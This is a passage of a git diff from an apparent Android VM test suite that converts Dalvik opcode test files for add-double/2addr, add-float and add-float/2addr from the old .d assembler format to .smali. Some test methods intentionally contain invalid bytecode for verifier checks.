--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_3.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 7
-
-       const-wide v2, 3.1415
-       add-double/2addr v2, v5
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali
new file mode 100644
index 0000000..9b7605d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 7
+
+       const-wide v2, 3.1415
+       add-double/2addr v2, v5
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.d
deleted file mode 100644
index a9f2625..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_4.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double/2addr v3, v2
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali
new file mode 100644
index 0000000..a496b62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v2
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.d
deleted file mode 100644
index 521f02b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_5.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali
new file mode 100644
index 0000000..5435f4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.d
deleted file mode 100644
index cd95033..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2addr_6.java
-.class public dot.junit.opcodes.add_double_2addr.d.T_add_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-          move v1, v5
-       move v2, v6
-          move v3, v6          
-       add-double/2addr v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali
new file mode 100644
index 0000000..19cc4ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+          move v1, v5
+       move v2, v6
+          move v3, v6          
+       add-double/2addr v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.d
deleted file mode 100644
index 502b435..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_1.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali
new file mode 100644
index 0000000..6a2b260
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_1.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.d
deleted file mode 100644
index 627036b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3.1415    
-       add-float v0, v3, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali
new file mode 100644
index 0000000..5d9e1f0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3.1415    
+       add-float v0, v3, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.d
deleted file mode 100644
index 7de8486..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_3.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3141523
-       add-float v0, v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali
new file mode 100644
index 0000000..db44515
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_3.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3141523
+       add-float v0, v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.d
deleted file mode 100644
index 443ed0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_4.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float v0, v2, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali
new file mode 100644
index 0000000..8b09cbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_4.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.d
deleted file mode 100644
index efcd143..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_5.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-       add-float v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali
new file mode 100644
index 0000000..7959c83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_5.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+       add-float v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.d
deleted file mode 100644
index 061a4da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_6.java
-.class public dot.junit.opcodes.add_float.d.T_add_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali
new file mode 100644
index 0000000..19ecf3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_6.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.d
deleted file mode 100644
index 38344b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_1.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali
new file mode 100644
index 0000000..c2647ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.d
deleted file mode 100644
index dd35d2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_2.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3.1415    
-       add-float/2addr v3, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali
new file mode 100644
index 0000000..66c4d65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3.1415    
+       add-float/2addr v3, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.d
deleted file mode 100644
index 6c0eb9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
